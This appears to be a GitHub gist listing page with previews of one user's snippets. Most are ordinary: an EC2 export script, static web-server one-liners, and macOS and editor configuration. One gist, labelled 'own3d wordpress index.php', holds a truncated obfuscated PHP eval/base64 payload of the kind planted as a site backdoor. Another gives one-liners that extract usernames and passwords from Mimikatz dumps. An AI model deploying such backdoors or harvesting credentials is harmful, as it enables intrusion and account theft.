Skip to content

Instantly share code, notes, and snippets.

@g11tch
g11tch / exportec2.py
Created August 28, 2014 03:28
ec2_Export.py
#!/usr/bin/env python
# Based on the script found here: http://cloudbuzz.wordpress.com/2011/02/15/336/
from boto.ec2 import EC2Connection
csv_file = open('instances.csv','w+')
def process_instance_list(connection):
map(build_instance_list,connection.get_all_instances())
@g11tch
g11tch / lol.php
Created August 28, 2014 03:32
own3d wordpress index.php
<?php eval(gzinflate(base64_decode('pRlrc9o69nN2Zv+DyrgxbhwwBkJo4qTdNL33zmxvuzTdmZ0kZYSRQYuxXdmQ0Dj/fc+R5EcIuXt3ttMiWeep85KOygPSfDVlAY/YtGkGYvkhNS3r4a9/2VOLxRqxO9YJrDIhYjEWLIlFxqNZ05Gr8DdYRX7G44gA/ngakqaxEqFFkNMeByEFfMzueZqlTdMH+JhHPAN5Cm3P8OfEIyVAsTiRILmYsixOYNmf2+Ti2+jvn79cjUeXV99Gv1+N3v/+9ePlyCYdTWDEq6xgxu6ZT5BMw1AfBRAiiiWAvPI84lhEkwU0TFlNsh/GKauxeCQMEMiDRn8X8JCNZywb+3GUsQj2p3R/RGTBspWISCb4sokEksXjDrP5AnfHI2n/PYOHXpqJkEVy7cSIPdOU0oNYgC4cBDsnBMZT+AlxdnCAO2h5gH9t8FvynZhvFInWwYhfkg3K+9Sfs6aRLZMpF7YR8mhhG/4y40tmG1nMPGkVrVwA0jVqy2ynLE3HZms57TcTwWYYICH1IXra3+dZlry9ad+0r7/ftG8P2qZNTPgn2VvKmkbA0OZoQx0dRqAgPGi+QmieE1SjaZFDiSeVQixyRo4c8oZoPS0k0sE0DX1PBWNTCSuc30SO+/tEYnh6V0QC995l8cqfl/L30M1yopjWqNkyyTZN5GFJZmCggonGfcZMGr7OtMSUbBMZSXGCDg9s8w4TMbgTPMOdJnYtRFCodUICGZYI1JGmeT8U3ga8AqAG+fuobO6/ELhaW80Dvn3rvBINX29VGO6KIp5O4qypQ2RFvXcQwFkcxndMNI3x18vRPy9H1+avV1dfxt/ga/z+l8vfr8zb0tnoqcTjiRvGUFwqitHlp89Xl+P3Hz6MANs6dSxEPPB67rA3PBq4w6MTaXtDpLArKgTdNNVv96g77PeGw37XltP+cafnWrYCdpzjodN3jwZdW06PnOOjCthxgaLvOh1bTYcgrAS6gO8euc7QltOe
@g11tch
g11tch / pyWebServer
Created September 5, 2014 09:36
web server one liner in python
python -m SimpleHTTPServer
@g11tch
g11tch / pyWebServer
Created September 5, 2014 09:36
web server one liner in python
python -m SimpleHTTPServer
@g11tch
g11tch / osx-for-hackers.sh
Created October 5, 2016 14:51 — forked from brandonb927/osx-for-hackers.sh
OSX for Hackers: Yosemite/El Capitan Edition. This script tries not to be *too* opinionated and any major changes to your system require a prompt. You've been warned. Also, please don't email me about this script, my poor inbox...
#!/bin/sh
# Alot of these configs have been taken from the various places
# on the web, most from here
# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
# Set the colours you can use
black='\033[0;30m'
white='\033[0;37m'
red='\033[0;31m'
@g11tch
g11tch / web-servers.md
Created October 7, 2016 17:51 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@g11tch
g11tch / Sublime 3 Config
Created October 7, 2016 18:08 — forked from tohuw/Sublime 3 Config
My Sublime Text 3 Config
{
"auto_complete_commit_on_tab": true,
"auto_complete_delay": 500,
"auto_indent": true,
"auto_match_enabled": true,
"binary_file_patterns":
[
"*.woff",
"*.eot",
"*.ttf",
@g11tch
g11tch / bash-one-liners.sh
Created October 7, 2016 18:19 — forked from macmladen/bash-one-liners.sh
BASH one-liners
## CHECKING HEADERS AND CERTIFICATE
# curl headers
curl -Iv https://example.com
# check certificate
openssl s_client -connect www.example.com:443
## FIXING FILES PERMISSIONS
# Remove Mac OS X Desktop Services Store files
find . -name ".DS_Store" -exec rm {} \;
# If you accidentally chmod -R 755 on everything revert files to 644
Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"
First, before using these parsers, run: "dos2unix mimikatz_dump.txt"
Mimikatz 1.0:
cat mimikatz_dump.txt | grep -P '((Utilisateur principal)|(msv1_0)|(kerberos)|(ssp)|(wdigest)|(tspkg))\s+:\s+.+' | grep -v 'n\.' | sed -e 's/^\s\+[^:]*:\s\+//' | sed -e 's/Utilisateur principal\s\+:\s\+\(.*\)$/\n\1/' | sort -u
Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):